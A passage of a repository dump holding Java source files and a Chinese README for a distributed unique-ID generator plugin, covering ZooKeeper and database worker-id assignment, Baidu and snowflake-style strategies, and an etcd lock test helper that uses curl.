    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.worker;\n\n/**\n * Represents a worker id assigner for {@link com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator}\n * \n * @author yutianbao\n */\npublic interface WorkerIdAssigner {\n\n    /**\n     * Assign worker id for {@link com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator}\n     * \n     * @return assigned worker id\n     */\n    long assignWorkerId();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/WorkerNodeType.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.worker;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.ValuedEnum;\n\n/**\n * WorkerNodeType\n * <li>CONTAINER: Such as Docker\n * <li>ACTUAL: Actual machine\n * \n * @author yutianbao\n */\npublic enum WorkerNodeType implements ValuedEnum<Integer> {\n    /**\n     * docker容器节点\n     */\n    CONTAINER(1),\n    /**\n     * 普通节点\n     */\n    ACTUAL(2);\n    \n    /**\n     * Lock type\n     */\n    private final Integer type;\n\n    /**\n     * Constructor with field of type\n     */\n    private WorkerNodeType(Integer type) {\n        this.type = type;\n    }\n\n    @Override\n    public Integer value() {\n        return type;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/ZkWorkerIdAssigner.java",
    "content": "package com.myzmds.ecp.core.uid.worker;\n\nimport java.io.IOException;\nimport java.nio.ByteBuffer;\nimport java.util.List;\n\nimport org.apache.zookeeper.CreateMode;\nimport org.apache.zookeeper.KeeperException;\nimport org.apache.zookeeper.WatchedEvent;\nimport org.apache.zookeeper.Watcher;\nimport org.apache.zookeeper.ZooDefs.Ids;\nimport org.apache.zookeeper.ZooKeeper;\nimport org.apache.zookeeper.data.Stat;\n\n/**\n * @类名称 ZkWorkerIdAssigner.java\n * @类描述 <pre>zk编号分配器{可设置interval-心跳间隔、pidHome-workerId文件存储目录、zkAddress-zk地址、pidPort-使用端口(默认不开,同机多uid应用时区分端口)}</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年4月27日 下午8:14:21\n * @版本 2.1.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t庄梦蝶殇 \t2018年04月27日             利用zk的版本实现workid\n *     2.0.0    庄梦蝶殇      2018年09月04日             引入leaf的理念基于zkclient进行开发\n *     2.1.0    庄梦蝶殇      2019年03月27日             使用原生Zookeeper。去除zkclient依赖\n *     ----------------------------------------------\n * </pre>\n */\npublic class ZkWorkerIdAssigner extends AbstractIntervalWorkId {\n    public static final String ZK_SPLIT = \"/\";\n    \n    /**\n     * ZK上uid根目录\n     */\n    public static final String UID_ROOT = \"/ecp-uid\";\n    \n    /**\n     * 持久顺序节点根目录(用于保存节点的顺序编号)\n     */\n    public static final String UID_FOREVER = UID_ROOT.concat(\"/forever\");\n    \n    /**\n     * 临时节点根目录(用于保存活跃节点及活跃心跳)\n     */\n    public static final String UID_TEMPORARY = UID_ROOT.concat(\"/temporary\");\n    \n    /**\n     * 本地workid文件跟目录\n     */\n    public static final String PID_ROOT = \"/data/pids/\";\n    \n    /**\n     * session失效时间\n     */\n    public static final int SESSION_TIMEOUT = 3000;\n    \n    /**\n     * connection连接时间\n     */\n    public static final int CONNECTION_TIMEOUT = 30000;\n    \n    /**\n     * zk客户端\n     */\n    private ZooKeeper zkClient;\n    \n    /**\n     * zk注册地址\n     */\n    private String zkAddress = \"127.0.0.1:2181\";\n    \n    /**\n     * 临时节点名，用于上报时间使用\n     */\n    private String temporaryNode;\n    \n    @Override\n    public long action() {\n        try {\n            zkClient = new ZooKeeper(zkAddress, SESSION_TIMEOUT, new Watcher() {\n                @Override\n                public void process(WatchedEvent event) {\n                    \n                }\n            });\n            if (null == zkClient.exists(UID_ROOT, false)) {\n                zkClient.create(UID_ROOT, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT);\n            }\n            String workNode = UID_FOREVER + ZK_SPLIT + pidName;\n            \n            /**\n             * 2、文件不存在，检查zk上是否存在ip:port的节点\n             */\n            if (null == zkClient.exists(UID_FOREVER, false)) {\n                zkClient.create(UID_FOREVER, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT);\n            }\n            if (null == workerId || null != zkClient.exists(workNode, false)) {\n                // a、 检查zk上是否存在ip:port的节点,存在，获取节点的顺序编号\n                List<String> uidWork = zkClient.getChildren(UID_FOREVER, false);\n                for (String nodePath : uidWork) {\n                    if (nodePath.startsWith(pidName)) {\n                        workerId = Long.valueOf(nodePath.substring(nodePath.length() - 10));\n                        break;\n                    }\n                }\n                // b、 不存在，创建ip:port节点\n                if (null == workerId) {\n                    String nodePath = zkClient.create(workNode, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT_SEQUENTIAL);\n                    workerId = Long.valueOf(nodePath.substring(nodePath.length() - 10));\n                }\n            }\n            \n            /**\n             * 3、创建临时节点\n             */\n            if (null == zkClient.exists(UID_TEMPORARY, false)) {\n                zkClient.create(UID_TEMPORARY, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT);\n            }\n            \n            temporaryNode = zkClient.create(UID_TEMPORARY + ZK_SPLIT + workerId, longToBytes(System.currentTimeMillis()), Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL);\n            active.set(true);\n            \n            /**\n             * 4、获取本地时间，跟zk临时节点列表的时间平均值做比较(zk临时节点用于存储活跃节点的上报时间，每隔一段时间上报一次临时节点时间)\n             */\n            List<String> activeNodes = zkClient.getChildren(UID_TEMPORARY, false);\n            Long sumTime = 0L;\n            for (String itemNode : activeNodes) {\n                Long nodeTime = bytesToLong(zkClient.getData(UID_TEMPORARY + ZK_SPLIT + itemNode, false, new Stat()));\n                sumTime += nodeTime;\n            }\n            return sumTime / activeNodes.size();\n        } catch (KeeperException | InterruptedException | IOException e) {\n            e.printStackTrace();\n        }\n        return System.currentTimeMillis();\n    }\n    \n    @Override\n    public boolean where() {\n        return null != workerId && null != zkClient;\n    }\n    \n    @Override\n    public void report() {\n        try {\n            zkClient.setData(temporaryNode, longToBytes(System.currentTimeMillis()), -1);\n        } catch (KeeperException | InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n    \n    public String getZkAddress() {\n        return zkAddress;\n    }\n    \n    public void setZkAddress(String zkAddress) {\n        this.zkAddress = zkAddress;\n    }\n    \n    private static ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);\n    \n    public static byte[] longToBytes(long x) {\n        buffer.putLong(0, x);\n        return buffer.array();\n    }\n    \n    public static long bytesToLong(byte[] bytes) {\n        buffer.put(bytes, 0, bytes.length);\n        buffer.flip();// need flip\n        return buffer.getLong();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/dao/WorkerNodeDAO.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.worker.dao;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.RowCallbackHandler;\n\nimport com.myzmds.ecp.core.uid.worker.entity.WorkerNode;\n\n/**\n * DAO for M_WORKER_NODE\n *\n * @author yutianbao\n */\npublic class WorkerNodeDAO {\n    \n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n    \n    /**\n     * Get {@link WorkerNode} by node host\n     * \n     * @param host\n     * @param port\n     * @return\n     */\n    public WorkerNode getWorkerNodeByHostPort(String host, String port) {\n        final WorkerNode workerNode = new WorkerNode();\n        String querySql = \"select * from WORKER_NODE where HOST_NAME = ? AND PORT = ? \";\n        this.jdbcTemplate.query(querySql, new String[] {host, port}, new RowCallbackHandler() {\n            @Override\n            public void processRow(ResultSet rs)\n                throws SQLException {\n                workerNode.setId(rs.getLong(\"ID\"));\n                workerNode.setHostName(rs.getString(\"HOST_NAME\"));\n                workerNode.setPort(rs.getString(\"PORT\"));\n                workerNode.setType(rs.getInt(\"TYPE\"));\n                workerNode.setLaunchDateDate(rs.getDate(\"LAUNCH_DATE\"));\n                workerNode.setModified(rs.getDate(\"MODIFIED\"));\n                workerNode.setCreated(rs.getDate(\"CREATED\"));\n            }\n        });\n        return workerNode;\n    }\n    \n    /**\n     * Add {@link WorkerNode}\n     * \n     * @param workerNode\n     */\n    public void addWorkerNode(WorkerNode workerNode) {\n        String sql = \"INSERT INTO WORKER_NODE(HOST_NAME, PORT, TYPE, LAUNCH_DATE, MODIFIED, CREATED) \" + \" VALUES (?, ?, ?, ?, NOW(), NOW())\";\n        this.jdbcTemplate.update(sql, new Object[] {workerNode.getHostName(), workerNode.getPort(), workerNode.getType(), workerNode.getLaunchDate()});\n    }\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/entity/WorkerNode.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.worker.entity;\n\nimport java.util.Date;\n\nimport com.myzmds.ecp.core.uid.worker.WorkerNodeType;\n\nimport lombok.ToString;\n\n/**\n * Entity for M_WORKER_NODE\n *\n * @author yutianbao\n */\n@ToString\npublic class WorkerNode {\n\n    /**\n     * Entity unique id (table unique)\n     */\n    private long id;\n\n    /**\n     * Type of CONTAINER: HostName, ACTUAL : IP.\n     */\n    private String hostName;\n\n    /**\n     * Type of CONTAINER: Port, ACTUAL : Timestamp + Random(0-10000)\n     */\n    private String port;\n\n    /**\n     * type of {@link WorkerNodeType}\n     */\n    private int type;\n\n    /**\n     * Worker launch date, default now\n     */\n    private Date launchDate = new Date();\n\n    /**\n     * Created time\n     */\n    private Date created;\n\n    /**\n     * Last modified\n     */\n    private Date modified;\n\n    /**\n     * Getters & Setters\n     */\n    public long getId() {\n        return id;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public String getHostName() {\n        return hostName;\n    }\n\n    public void setHostName(String hostName) {\n        this.hostName = hostName;\n    }\n\n    public String getPort() {\n        return port;\n    }\n\n    public void setPort(String port) {\n        this.port = port;\n    }\n\n    public int getType() {\n        return type;\n    }\n\n    public void setType(int type) {\n        this.type = type;\n    }\n\n    public Date getLaunchDate() {\n        return launchDate;\n    }\n\n    public void setLaunchDateDate(Date launchDate) {\n        this.launchDate = launchDate;\n    }\n\n    public Date getCreated() {\n        return created;\n    }\n\n    public void setCreated(Date created) {\n        this.created = created;\n    }\n\n    public Date getModified() {\n        return modified;\n    }\n\n    public void setModified(Date modified) {\n        this.modified = modified;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/resources/README.txt",
    "content": "一、介绍\n==========================\n   1、本项目为uid生成器，支持segment、snowflake、UidGenerator、spring四种策略生成id\n   \n   2、本项目可生成混淆id，目前混淆策略为：gene(基因法)\n   \n二、策略说明\n==========================\n   1、snowflake\n     snowflake 是基于Twitter[snowflake](https://github.com/twitter/snowflake) 算法的优化策略\n     本策略优化了闰秒回拨处理、新增默认workId(可复用baidu-workerId策略) 与 datacenterId 的提供方法。\n     <bean id=\"snowflakeUidStrategy\" class=\"**.TwitterSnowflakeStrategy\"> \n           <property name=\"assigner\" ref=\"disposableWorkerIdAssigner\" /><!-- 可选 -->\n     </bean> \n     \n   2、baidu\n     是 基于[百度UidGenerator](https://github.com/baidu/uid-generator)上的的优化策略。\n     <bean id=\"baiduUidStrategy\" class=\"**.BaiduUidStrategy\"/> \n     \t\t \n     (1)、workerId提供策略\n         * DisposableWorkerIdAssigner，利用数据库来管理生成workId，依赖数据库和spring-jdbc框架(需有jdbcTemplate的bean)。mysql表示例：\n\t\t\tDROP TABLE IF EXISTS WORKER_NODE;\n\t\t\tCREATE TABLE WORKER_NODE (\n\t\t\t\tID BIGINT NOT NULL AUTO_INCREMENT COMMENT '自增 id',\n\t\t\t\tHOST_NAME VARCHAR(64) NOT NULL COMMENT '主机名',\n\t\t\t\tPORT VARCHAR(64) NOT NULL COMMENT '端口',\n\t\t\t\tTYPE INT NOT NULL COMMENT '节点类型: ACTUAL or CONTAINER',\n\t\t\t\tLAUNCH_DATE DATE NOT NULL COMMENT '启动时间',\n\t\t\t\tMODIFIED TIMESTAMP NOT NULL COMMENT '修改时间',\n\t\t\t\tCREATED TIMESTAMP NOT NULL COMMENT '创建时间',\n\t\t\t\tPRIMARY KEY(ID)\n\t\t\t) COMMENT='Uid WorkerId 存储表',ENGINE = INNODB;\n\t\t\t \n\t\t\t示例：\n\t\t\t<bean id=\"disposableWorker\" class=\"**.DisposableWorkerIdAssigner\"/>\n\t\t\t<bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">...</bean>\n\t\t\t\n         * SimpleWorkerIdAssigner ，固定了workId的提供。值为0.示例：\n\t\t\t<bean id=\"simpleWorker\" class=\"**.SimpleWorkerIdAssigner\"/>\n         \n         * ZkWorkerIdAssigner ，利用zookeeper来实现wordId的提供管理，依赖原生Zookeeper驱动包.示例：\n\t\t\t<bean id=\"zkWorker\" class=\"**.ZkWorkerIdAssigner\"/>\n\t\t\t可设置interval-心跳间隔、pidHome-workerId文件存储目录、zkAddress-zk地址、pidPort-心跳端口\n         \n         * RedisWorkIdAssigner ，利用redis来实现wordId的提供管理，依赖了spring-data-redis框架(依赖注入RedisTemplate).示例：\n\t\t\t<bean id=\"redisWorker\" class=\"**.RedisWorkIdAssigner\"/>\n\t\t\t可设置interval-心跳间隔、pidHome-workerId文件存储目录、pidPort-心跳端口\n         \n     (2)、uid生成策略\n         * DefaultUidGenerator 是Snowflake算法的变种，取消datacenterId, 并扩展了支持自定义workerId位数和初始化策略。\n           a、可配置 delta seconds (28 bits)  \n                                   当前时间，相对于时间基点\"2016-05-20\"的增量值，单位：秒，最多可支持约8.7年\n\n           b、worker id (22 bits)  \n                                    机器id，最多可支持约420w次机器启动。内置实现为在启动时由数据库分配，默认分配策略为用后即弃，后续可提供复用策略。\n\n           c、sequence (13 bits)   \n                                   每秒下的并发序列，13 bits可支持每秒8192个并发。\n                                   \n                            注： 三者之和为63\n                            \n                            示例：\n            <bean id=\"defaultUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator\" scope=\"prototype\">\n               <property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\"/>\n               <property name=\"timeBits\" value=\"29\"/>\n               <property name=\"workerBits\" value=\"21\"/>\n               <property name=\"seqBits\" value=\"13\"/>\n               <property name=\"epochStr\" value=\"2017-12-25\"/>\n            </bean>\n            \n         * CachedUidGenerator借用未来时间来解决sequence天然存在的并发限制; 采用RingBuffer来缓存已生成的UID, 并行化UID的生产和消费,\n                            同时对CacheLine补齐，避免了由RingBuffer带来的硬件级「伪共享」问题. 最终单机QPS可达600万\n           \n                            示例：\n            <bean id=\"cachedUidGenerator\" class=\"com.myzmds.ecp.core.uid.baidu.impl.CachedUidGenerator\" scope=\"prototype\">\n               <property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\" />\n\n               <!-- 以下为可选配置, 如未指定将采用默认值 -->\n               <!-- RingBuffer size扩容参数, 可提高UID生成的吞吐量. --> \n               <!-- 默认:3， 原bufferSize=8192, 扩容后bufferSize= 8192 << 3 = 65536 -->\n               <!--<property name=\"boostPower\" value=\"3\"></property>--> \n               \n               <!-- 指定何时向RingBuffer中填充UID, 取值为百分比(0, 100), 默认为50 -->\n               <!-- 举例: bufferSize=1024, paddingFactor=50 -> threshold=1024 * 50 / 100 = 512. -->\n               <!-- 当环上可用UID数量 < 512时, 将自动对RingBuffer进行填充补全 -->\n               <!--<property name=\"paddingFactor\" value=\"50\"></property>--> \n               \n               <!-- 另外一种RingBuffer填充时机, 在Schedule线程中, 周期性检查填充 -->\n               <!-- 默认:不配置此项, 即不实用Schedule线程. 如需使用, 请指定Schedule线程时间间隔, 单位:秒 -->\n               <!--<property name=\"scheduleInterval\" value=\"60\"></property>--> \n               \n               <!-- 拒绝策略: 当环已满, 无法继续填充时 -->\n               <!-- 默认无需指定, 将丢弃Put操作, 仅日志记录. 如有特殊需求, 请实现RejectedPutBufferHandler接口(支持Lambda表达式) -->\n               <!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n               \n               <!-- 拒绝策略: 当环已空, 无法继续获取时 -->\n               <!-- 默认无需指定, 将记录日志, 并抛出UidGenerateException异常. 如有特殊需求, 请实现RejectedTakeBufferHandler接口 -->\n               <!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n            </bean>\n            \n     (3)、比特分配的建议\n         *对于并发数要求不高、期望长期使用的应用, 可增加```timeBits```位数, 减少```seqBits```位数. \n                           例如节点采取用完即弃的WorkerIdAssigner策略, 重启频率为12次/天,\n                           那么配置成```{\"workerBits\":23,\"timeBits\":31,\"seqBits\":9}```时, 可支持28个节点以整体并发量14400 UID/s的速度持续运行68年.\n\n         *对于节点重启频率频繁、期望长期使用的应用, 可增加```workerBits```和```timeBits```位数, 减少```seqBits```位数.\n                           例如节点采取用完即弃的WorkerIdAssigner策略, 重启频率为24*12次/天,\n                           那么配置成```{\"workerBits\":27,\"timeBits\":30,\"seqBits\":6}```时, 可支持37个节点以整体并发量2400 UID/s的速度持续运行34年.\n                           \n   3、segment\n     segment 是基于美团[leaf-segment](https://tech.meituan.com/MT_Leaf.html) 的优化策略, 使用双Buffer实现。依赖数据库与spring-jdbc框架\n     <bean id=\"leafUidStrategy\" class=\"**.LeafSegmentStrategy\"/> \n     \n     (1)、SegmentServiceImpl 是具体实现类，数据库表结构为(mysql示例)：\n\t\t\tDROP TABLE IF EXISTS id_segment;\n\t\t\tCREATE TABLE id_segment (\n\t\t\t\tBIZ_TAG VARCHAR(64) NOT NULL COMMENT '业务标识',\n\t\t\t\tSTEP int NOT NULL COMMENT '步长',\n\t\t\t\tMAX_ID BIGINT NOT NULL COMMENT '最大值',\n\t\t\t\tLAST_UPDATE_TIME TIMESTAMP NOT NULL COMMENT '上次修改时间',\n\t\t\t\tCURRENT_UPDATE_TIME TIMESTAMP NOT NULL COMMENT '当前修改时间',\n\t\t\t\tPRIMARY KEY(BIZ_TAG)\n\t\t\t) COMMENT='号段存储表',ENGINE = INNODB;\n     \n     (2)、支持 同步/异步两种更新数据库方式。可选配置asynLoadingSegment(true-异步，false-同步)，默认使用异步。\n                            示例：\n            <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\">...</bean>\n                    \n   4、spring 增量ID\n             是 基于 segment策略提供给spring 增量实现。非直接使用的策略\n   \n   5、混淆算法\n             是 基于 基因分库法这个理论扩展出来的混淆算法   \n\n三 、使用\n-------------------\n     <bean class=\"**.UidContext\">\n         <property name=\"uidStrategy\" ref=\"上述任何策略\" />\n         <property name=\"factor\" value=\"可选：基因因子，如设置则启用混淆\" />\n         <property name=\"fixed\" value=\"可选：除余底数，建议使用固定值，不可更改\" />\n     </bean>\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/standard/distributed/lock/CurlUtil.java",
    "content": "package com.myzmds.ecp.core.standard.distributed.lock;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.List;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * @类名称 CurlUtil.java\n * @类描述 <pre>CURL命令辅助类</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年12月16日 上午11:16:16\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年12月16日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class CurlUtil {\n    public static Logger logger = LoggerFactory.getLogger(CurlUtil.class);\n    \n    /**\n     * 默认命令头\n     */\n    private static final String CURL = \"curl\";\n    \n    /**\n     * @方法名称 execCurl\n     * @功能描述 <pre>执行命令</pre>\n     * @param cmds java curl不支持空格，所有用空格分割命令\n     * @return 执行结果：null-错误/检查操作，\"\"-无返回值\n     */\n    public static String execCurl(List<String> cmds) {\n        if (null == cmds || cmds.size() == 0) {\n            return null;\n        }\n        if (!cmds.get(0).equals(CURL)) {\n            cmds.add(0, CURL);\n        }\n        ProcessBuilder process = new ProcessBuilder(cmds);\n        try {\n            Process p = process.start();\n            StringBuilder builder = new StringBuilder();\n            try (BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()))) {\n                String line = null;\n                while ((line = reader.readLine()) != null) {\n                    builder.append(line).append(System.getProperty(\"line.separator\"));\n                }\n                logger.debug(Thread.currentThread().getName().concat(\":\").concat(builder.toString().trim()));\n            }\n            return builder.toString().trim();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/standard/distributed/lock/EtcdSharedLock.java",
    "content": "package com.myzmds.ecp.core.standard.distributed.lock;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.myzmds.ecp.core.uid.baidu.utils.NamingThreadFactory;\n\n/**\n * @类名称 EtcdSharedLock.java\n * @类描述 <pre>etcd分布式锁：支持等待锁，竞争锁；可自动续租/释放资源；CP模式，强一致性</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年12月16日 上午11:02:17\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年12月16日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class EtcdSharedLock implements ISharedLock {\n    \n    /**\n     * 过期时间命令\n     */\n    private static String PREFIX_TTL = \"ttl=\";\n    \n    /**\n     * 锁值命令\n     */\n    private static String PREFIX_VAL = \"?prevValue=\";\n    \n    /**\n     * 默认锁值\n     */\n    private static final String DEFAULT_VALUE = \"1\";\n    \n    /**\n     * 默认etcd服务地址\n     */\n    private static String DEFAULT_URL = \"http://172.16.104.105:2379/v2/keys/\";\n    \n    /**\n     * 整锁命令\n     */\n    private static final List<String> LOCK_APPLY = Arrays.asList(new String[] {\"-XPUT\", \"-d\", \"value=1\", \"-d\", \"prevExist=false\", \"-d\"});\n    \n    /**\n     * 续租命令\n     */\n    private static final List<String> LOCK_RELET = Arrays.asList(new String[] {\"-XPUT\", \"-d\", \"refresh=true\", \"-d\", \"prevExist=true\", \"-d\"});\n    \n    /**\n     * 解锁命令\n     */\n    private static final List<String> LOCK_DELETE = Arrays.asList(new String[] {\"-XDELETE\"});\n    \n    /**\n     * 配置地址\n     */\n    public String url;\n    \n    /**\n     * 锁名\n     */\n    public String name;\n    \n    /**\n     * 锁值\n     */\n    public String value;\n    \n    /**\n     * 锁过期时间，毫秒\n     */\n    public int ttl;\n    \n    /**\n     * 心跳线程池\n     */\n    private ScheduledExecutorService scheduledpool;\n    \n    public EtcdSharedLock(String name) {\n        this(name, DEFAULT_VALUE);\n    }\n    \n    public EtcdSharedLock(String name, String value) {\n        this(DEFAULT_URL, name, value);\n    }\n    \n    public EtcdSharedLock(String url, String name, String value) {\n        this.url = url;\n        this.name = name;\n        this.value = value;\n    }\n\n    @Override\n    public boolean lock(int ttl)\n        throws RuntimeException {\n        this.ttl = ttl;\n        List<String> commonds = new ArrayList<String>();\n        commonds.add(url.concat(name));\n        commonds.addAll(LOCK_APPLY);\n        commonds.add(PREFIX_TTL + ttl);\n        String result = CurlUtil.execCurl(commonds);\n        if (null == result || \"\".equals(result)) {\n            return false;\n        }\n        JSONObject jsonObject = JSONObject.parseObject(result);\n        if (jsonObject.containsKey(\"errorCode\")) {\n            if (\"105\".equals(jsonObject.getString(\"errorCode\"))) {\n                return false;\n            } else {\n                logger.warn(MSG_LOCK_ERROR, name, result);\n                throw new RuntimeException(result);\n            }\n        }\n        return true;\n    }\n\n    @Override\n    public void startHeartBeatThread() {\n        scheduledpool = new ScheduledThreadPoolExecutor(1, new NamingThreadFactory(Thread.currentThread().getName().concat(LOCK_HEART_BEAT), true));\n        scheduledpool.scheduleAtFixedRate(() -> {\n            List<String> commonds = new ArrayList<String>();\n            commonds.add(url.concat(name).concat(PREFIX_VAL).concat(value));\n            commonds.addAll(LOCK_RELET);\n            commonds.add(PREFIX_TTL + ttl);\n            CurlUtil.execCurl(commonds);\n            logger.debug(MSG_RELET, Thread.currentThread().getName(), name);\n        }, 0L, ttl / 3, TimeUnit.MILLISECONDS);\n    }\n    \n    @Override\n    public void close() {\n        // 有锁才释放\n        if (null != scheduledpool) {\n            scheduledpool.shutdown();\n            List<String> commonds = new ArrayList<String>();\n            commonds.add(url.concat(name).concat(PREFIX_VAL).concat(value));\n            commonds.addAll(LOCK_DELETE);\n            String result = CurlUtil.execCurl(commonds);\n            logger.debug(result);\n        }\n    }\n    \n    @Override\n    public String getName() {\n        return name;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/standard/distributed/lock/ISharedLock.java",
    "content": "package com.myzmds.ecp.core.standard.distributed.lock;\n\nimport java.io.Closeable;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * @类名称 ISharedLock.java\n * @类描述 <pre>分布式锁:支持等待锁，竞争锁；可自动续租/释放资源；</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年12月13日             \n *     ----------------------------------------------\n * </pre>\n */\npublic interface ISharedLock extends Closeable {\n    public static Logger logger = LoggerFactory.getLogger(ISharedLock.class);\n    \n    /**\n     * 线程名-心跳\n     */\n    public static final String LOCK_HEART_BEAT = \":heart_beat\";\n    \n    /**\n     * 取锁日志\n     */\n    public final static String MSG_LOCK = \"{}获得锁\";\n    \n    /**\n     * 取锁错误日志\n     */\n    public final static String MSG_LOCK_ERROR = \"{}取锁失败，错误为{}\";\n    \n    /**\n     * 续租日志\n     */\n    public final static String MSG_RELET = \"{}续租锁\";\n    \n    /**\n     * 解锁日志\n     */\n    public final static String MSG_UNLOCK = \"{}释放锁\";\n    \n    /**\n     * 取锁超时日志\n     */\n    public final static String MSG_LOCK_TIMEOUT = \"{}取锁超时\";\n    \n    /**\n     * @方法名称 acquire\n     * @功能描述 <pre>竞争锁,并自动续租</pre>\n     * @param ttl 锁过期时间，单位毫秒\n     * @return true-获取锁，false-为获得锁\n     * @throws RuntimeException 操作锁失败，需要业务判断是否重试 \n     */\n    default boolean acquire(int ttl)\n        throws RuntimeException {\n        if (lock(ttl)) {\n            logger.debug(MSG_LOCK, getName());\n            startHeartBeatThread();\n            return true;\n        }\n        return false;\n    }\n    \n    /**\n     * @方法名称 lock\n     * @功能描述 <pre>获取锁</pre>\n     * @param ttl 锁过期时间，单位毫秒\n     * @return true-获取锁，false-为获得锁\n     * @throws RuntimeException 操作锁失败，需要业务判断是否重试 \n     */\n    boolean lock(int ttl)\n        throws RuntimeException;\n    \n    /**\n     * @方法名称 acquireOrWait\n     * @功能描述 <pre>竞争锁或等待锁</pre>\n     * @param ttl 